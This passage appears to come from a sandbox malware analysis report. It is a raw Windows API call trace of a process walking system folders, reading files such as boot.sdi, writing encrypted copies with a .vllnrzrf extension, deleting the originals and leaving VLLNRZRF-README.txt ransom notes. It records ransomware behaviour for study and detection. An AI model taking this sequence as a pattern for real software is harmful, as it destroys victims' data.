cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0080.933] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0080.933] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0080.933] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0080.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5ee30) returned 1 [0080.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce5edf0) returned 1 [0081.059] CoUninitialize () Thread: id = 26 os_tid = 0x6f0 [0080.815] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0080.938] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1cf8e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8ec20) returned 1 [0080.938] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1cf8e710, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.938] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\", nBufferLength=0x105, lpBuffer=0x1cf8e6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\", lpFilePart=0x0) returned 0xe [0080.938] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x1cf8e8c0 | out: lpFindFileData=0x1cf8e8c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa0fd5810, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa0fd5810, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0080.938] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8e910 | out: lpFindFileData=0x1cf8e910*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa0fd5810, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa0fd5810, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.938] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8e910 | out: lpFindFileData=0x1cf8e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fd5810, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xa0fd5810, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa0fd5810, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0080.939] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf8e910 | out: lpFindFileData=0x1cf8e910*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.939] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0080.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8eb70) returned 1 [0080.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8eb30) returned 1 [0081.062] CoUninitialize () Thread: id = 28 os_tid = 0x7a0 [0081.079] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0081.080] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ce3ed20, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0081.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce3f180) returned 1 [0081.080] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ce3ec70, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0081.080] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\", nBufferLength=0x105, lpBuffer=0x1ce3ec10, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\", lpFilePart=0x0) returned 0x1a [0081.080] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x1ce3ee20 | out: lpFindFileData=0x1ce3ee20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0081.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce3f0b0) returned 1 [0081.123] CoUninitialize () Thread: id = 30 os_tid = 0x804 [0081.137] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0081.138] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1cd9eb80, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0081.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd9efe0) returned 1 [0081.138] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1cd9ead0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0081.138] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\", nBufferLength=0x105, lpBuffer=0x1cd9ea70, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\", lpFilePart=0x0) returned 0xc [0081.138] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x1cd9ec80 | out: lpFindFileData=0x1cd9ec80*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c00 [0081.138] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd9ecd0 | out: lpFindFileData=0x1cd9ecd0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.139] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd9ecd0 | out: lpFindFileData=0x1cd9ecd0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0081.139] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd9ecd0 | out: lpFindFileData=0x1cd9ecd0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0081.139] FindClose (in: hFindFile=0x1a578c00 | out: hFindFile=0x1a578c00) returned 1 [0081.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd9ef30) returned 1 [0081.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd9eef0) returned 1 [0081.158] CoUninitialize () Thread: id = 31 os_tid = 0x814 [0081.174] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0081.175] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1cede8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0081.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ceded00) returned 1 [0081.175] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1cede7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0081.175] GetFullPathNameW (in: lpFileName="C:\\Recovery\\", nBufferLength=0x105, lpBuffer=0x1cede790, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\", lpFilePart=0x0) returned 0xc [0081.175] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x1cede9a0 | out: lpFindFileData=0x1cede9a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c00 [0081.176] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cede9f0 | out: lpFindFileData=0x1cede9f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.176] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cede9f0 | out: lpFindFileData=0x1cede9f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0081.176] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cede9f0 | out: lpFindFileData=0x1cede9f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0 [0081.176] FindClose (in: hFindFile=0x1a578c00 | out: hFindFile=0x1a578c00) returned 1 [0081.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cedec50) returned 1 [0081.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cedec10) returned 1 [0081.181] CoUninitialize () Thread: id = 34 os_tid = 0x844 [0081.200] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0081.203] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1cd5e3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0081.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd5e840) returned 1 [0081.203] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1cd5e330, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0081.203] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", nBufferLength=0x105, lpBuffer=0x1cd5e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpFilePart=0x0) returned 0x31 [0081.203] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*.*", lpFindFileData=0x1cd5e4e0 | out: lpFindFileData=0x1cd5e4e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c00 [0081.204] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd5e530 | out: lpFindFileData=0x1cd5e530*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.204] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd5e530 | out: lpFindFileData=0x1cd5e530*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0081.204] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd5e530 | out: lpFindFileData=0x1cd5e530*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0081.204] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cd5e530 | out: lpFindFileData=0x1cd5e530*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0081.205] FindClose (in: hFindFile=0x1a578c00 | out: hFindFile=0x1a578c00) returned 1 [0081.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd5e790) returned 1 [0081.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd5e750) returned 1 [0081.208] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", nBufferLength=0x105, lpBuffer=0x1cd5e250, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", lpFilePart=0x0) returned 0x39 [0081.208] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", nBufferLength=0x105, lpBuffer=0x1cd5e250, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", lpFilePart=0x0) returned 0x39 [0081.209] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", nBufferLength=0x105, lpBuffer=0x1cd5e250, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", lpFilePart=0x0) returned 0x39 [0081.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd5e730) returned 1 [0081.209] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0081.209] GetFileType (hFile=0x484) returned 0x1 [0081.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd5e6a0) returned 1 [0081.209] GetFileType (hFile=0x484) returned 0x1 [0081.209] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1cd5e8c8 | out: lpFileSizeHigh=0x1cd5e8c8*=0x0) returned 0x306000 [0081.218] ReadFile (in: hFile=0x484, lpBuffer=0x1223bc60, nNumberOfBytesToRead=0x306000, lpNumberOfBytesRead=0x1cd5e7f8, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesRead=0x1cd5e7f8*=0x306000, lpOverlapped=0x0) returned 1 [0081.491] CloseHandle (hObject=0x484) returned 1 [0082.464] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cd5e250, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.vllnrzrf", lpFilePart=0x0) returned 0x42 [0082.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd5e730) returned 1 [0082.464] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.vllnrzrf" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0082.482] GetFileType (hFile=0x464) returned 0x1 [0082.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd5e6a0) returned 1 [0082.482] GetFileType (hFile=0x464) returned 0x1 [0082.482] WriteFile (in: hFile=0x464, lpBuffer=0x12e53d40*, nNumberOfBytesToWrite=0x306200, lpNumberOfBytesWritten=0x1cd5e858, lpOverlapped=0x0 | out: lpBuffer=0x12e53d40*, lpNumberOfBytesWritten=0x1cd5e858*=0x306200, lpOverlapped=0x0) returned 1 [0083.658] CloseHandle (hObject=0x464) returned 1 [0083.955] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", nBufferLength=0x105, lpBuffer=0x1cd5e250, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", lpFilePart=0x0) returned 0x39 [0083.956] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", nBufferLength=0x105, lpBuffer=0x1cd5e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", lpFilePart=0x0) returned 0x39 [0083.956] DeleteFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi")) returned 1 [0083.959] CoUninitialize () Thread: id = 42 os_tid = 0x8e4 [0084.005] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0084.005] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ce1eaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce1ef00) returned 1 [0084.006] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ce1e9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.006] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x1ce1e990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0084.006] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x1ce1eba0 | out: lpFindFileData=0x1ce1eba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa1210cb0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa1210cb0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c00 [0084.006] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa1210cb0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa1210cb0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.006] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0084.007] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0084.007] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0084.007] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0084.007] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0084.008] FindNextFileW (in: 